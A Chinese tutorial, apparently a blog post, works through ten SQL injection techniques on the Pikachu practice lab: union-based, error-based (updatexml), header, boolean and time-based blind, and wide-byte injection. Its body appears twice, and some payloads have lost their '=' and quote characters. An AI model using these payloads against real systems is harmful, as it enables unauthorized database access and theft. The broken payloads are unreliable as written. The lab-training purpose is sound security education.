1. 数字型注入实战拆解数字型注入是最基础的SQL注入类型但也是新手最容易踩坑的地方。我在第一次接触Pikachu靶场时就花了整整两小时才搞明白这个看似简单的漏洞。关键点在于区分数字型和字符型——输入1 and 11和1 and 12后如果页面返回结果不同就能确认是数字型注入。实际操作中我习惯用以下步骤先用order by测试字段数比如id1 order by 3正常但order by 4报错说明有3个字段找到回显位后构造联合查询语句id1 union select 1,database(),3这个语句能直接爆出当前数据库名在Pikachu靶场中会返回pikachu进阶技巧是用group_concat一次性获取所有表名id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemapikachu注意这里把id改为-1是为了让原查询不返回结果确保联合查询的内容能显示出来2. 字符型注入的闭合艺术字符型注入比数字型多了一个关键步骤——闭合引号。有次我在客户现场演示时因为漏了闭合单引号导致整个演示翻车。在Pikachu靶场的GET型注入关卡正确的做法是先输入kobe测试闭合方式。当看到报错信息时说明存在注入点。这时候需要构造kobe and 11如果页面正常返回接着就可以用kobe union select 1,2,3 and 11来确认回显位置。有个小技巧是在火狐浏览器用HackBar插件快速测试比手动拼接URL方便得多。3. 搜索型注入的模糊匹配搜索型注入最容易让人懵圈的就是那个百分号。记得有次凌晨三点调试时我对着like %input%这个语句发了半小时呆。在Pikachu靶场里正确的闭合方式是% and 11 and %如果返回正常结果说明闭合成功。之后就可以用% union select 1,2,3 and %来获取数据库信息。这里有个坑要注意模糊查询的字段可能和普通查询不同最好用order by先测试字段数。4. XX型注入的括号陷阱这种注入类型最坑爹的就是闭合方式。我第一次遇到时试了十几种组合才碰对。在Pikachu靶场中正确的闭合方式是) and 11 and (1)(1成功后就可以用常规方法注入了。建议新手先用)测试如果不行再尝试))等组合。有个记忆口诀见到括号先配对单双引号轮着试。5. Insert/Update注入的报错利用这种注入在注册/修改功能中最常见。有次我给客户做渗透测试就是通过修改个人资料页面的update语句拿到了数据库权限。在Pikachu靶场中注册时用usernametest,,,,,)#password123如果注册成功说明存在注入。由于没有回显需要用报错注入usernametest or updatexml(1,concat(0x7e,(select database()),0x7e),1) or password123这个updatexml函数会触发报错并返回数据库信息。注意payload中的0x7e是波浪号~的十六进制用来分隔返回结果。6. Delete注入的抓包技巧这种注入需要先创建测试数据。我在Pikachu靶场中先留言test然后删除时用BurpSuite抓包修改请求为id1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)关键是要把GET参数放在URL里直接测试。有个实用技巧是用%20代替空格有时候能绕过简单过滤。7. HTTP头注入的隐蔽攻击这种注入最容易忽略。有次安全评估中我在UA头里发现注入点后客户的技术总监当场就冒冷汗了。在Pikachu靶场登录后用BurpSuite修改User-Agent为 or updatexml(1,concat(0x7e,(select database()),0x7e),1) or 如果返回报错信息说明注入成功。这种注入特别危险因为很多日志系统都会记录HTTP头。8. 布尔盲注的猜解艺术布尔盲注最考验耐心。我写第一个盲注脚本时整整调试了两天才跑通。在Pikachu靶场中先用kobe and length(database())7--确认数据库名长度pikachu是7位然后用kobe and ascii(substr(database(),1,1))112--逐位猜解字符p的ASCII码是112。建议新手先用BurpSuite的Intruder模块自动化这个过程比手动改参数高效得多。9. 时间盲注的延时判断时间盲注比布尔盲注更隐蔽。有次红队行动中我就是靠这个技术拿下了目标系统。在Pikachu靶场中用kobe and if(length(database())7,sleep(5),1)--如果页面延迟5秒返回说明条件成立。测试时可以先用短时间如2秒确认机制有效。注意时间盲注对网络稳定性要求很高建议在本地环境先练习。10. 宽字节注入的编码把戏这种注入现在很少见了但了解原理很有必要。我在某次老旧系统评估中还是遇到过。Pikachu靶场中的典型payload是%df%27 and 11--这里的%df%5c会被GBK编码识别为一个汉字从而吃掉转义反斜杠。有个实用技巧是用%a1%a1等组合测试不同编码的兼容性。
Pikachu靶场实战:从零到一拆解十大SQL注入场景
1. 数字型注入实战拆解数字型注入是最基础的SQL注入类型但也是新手最容易踩坑的地方。我在第一次接触Pikachu靶场时就花了整整两小时才搞明白这个看似简单的漏洞。关键点在于区分数字型和字符型——输入1 and 11和1 and 12后如果页面返回结果不同就能确认是数字型注入。实际操作中我习惯用以下步骤先用order by测试字段数比如id1 order by 3正常但order by 4报错说明有3个字段找到回显位后构造联合查询语句id1 union select 1,database(),3这个语句能直接爆出当前数据库名在Pikachu靶场中会返回pikachu进阶技巧是用group_concat一次性获取所有表名id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemapikachu注意这里把id改为-1是为了让原查询不返回结果确保联合查询的内容能显示出来2. 字符型注入的闭合艺术字符型注入比数字型多了一个关键步骤——闭合引号。有次我在客户现场演示时因为漏了闭合单引号导致整个演示翻车。在Pikachu靶场的GET型注入关卡正确的做法是先输入kobe测试闭合方式。当看到报错信息时说明存在注入点。这时候需要构造kobe and 11如果页面正常返回接着就可以用kobe union select 1,2,3 and 11来确认回显位置。有个小技巧是在火狐浏览器用HackBar插件快速测试比手动拼接URL方便得多。3. 搜索型注入的模糊匹配搜索型注入最容易让人懵圈的就是那个百分号。记得有次凌晨三点调试时我对着like %input%这个语句发了半小时呆。在Pikachu靶场里正确的闭合方式是% and 11 and %如果返回正常结果说明闭合成功。之后就可以用% union select 1,2,3 and %来获取数据库信息。这里有个坑要注意模糊查询的字段可能和普通查询不同最好用order by先测试字段数。4. XX型注入的括号陷阱这种注入类型最坑爹的就是闭合方式。我第一次遇到时试了十几种组合才碰对。在Pikachu靶场中正确的闭合方式是) and 11 and (1)(1成功后就可以用常规方法注入了。建议新手先用)测试如果不行再尝试))等组合。有个记忆口诀见到括号先配对单双引号轮着试。5. Insert/Update注入的报错利用这种注入在注册/修改功能中最常见。有次我给客户做渗透测试就是通过修改个人资料页面的update语句拿到了数据库权限。在Pikachu靶场中注册时用usernametest,,,,,)#password123如果注册成功说明存在注入。由于没有回显需要用报错注入usernametest or updatexml(1,concat(0x7e,(select database()),0x7e),1) or password123这个updatexml函数会触发报错并返回数据库信息。注意payload中的0x7e是波浪号~的十六进制用来分隔返回结果。6. Delete注入的抓包技巧这种注入需要先创建测试数据。我在Pikachu靶场中先留言test然后删除时用BurpSuite抓包修改请求为id1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)关键是要把GET参数放在URL里直接测试。有个实用技巧是用%20代替空格有时候能绕过简单过滤。7. HTTP头注入的隐蔽攻击这种注入最容易忽略。有次安全评估中我在UA头里发现注入点后客户的技术总监当场就冒冷汗了。在Pikachu靶场登录后用BurpSuite修改User-Agent为 or updatexml(1,concat(0x7e,(select database()),0x7e),1) or 如果返回报错信息说明注入成功。这种注入特别危险因为很多日志系统都会记录HTTP头。8. 布尔盲注的猜解艺术布尔盲注最考验耐心。我写第一个盲注脚本时整整调试了两天才跑通。在Pikachu靶场中先用kobe and length(database())7--确认数据库名长度pikachu是7位然后用kobe and ascii(substr(database(),1,1))112--逐位猜解字符p的ASCII码是112。建议新手先用BurpSuite的Intruder模块自动化这个过程比手动改参数高效得多。9. 时间盲注的延时判断时间盲注比布尔盲注更隐蔽。有次红队行动中我就是靠这个技术拿下了目标系统。在Pikachu靶场中用kobe and if(length(database())7,sleep(5),1)--如果页面延迟5秒返回说明条件成立。测试时可以先用短时间如2秒确认机制有效。注意时间盲注对网络稳定性要求很高建议在本地环境先练习。10. 宽字节注入的编码把戏这种注入现在很少见了但了解原理很有必要。我在某次老旧系统评估中还是遇到过。Pikachu靶场中的典型payload是%df%27 and 11--这里的%df%5c会被GBK编码识别为一个汉字从而吃掉转义反斜杠。有个实用技巧是用%a1%a1等组合测试不同编码的兼容性。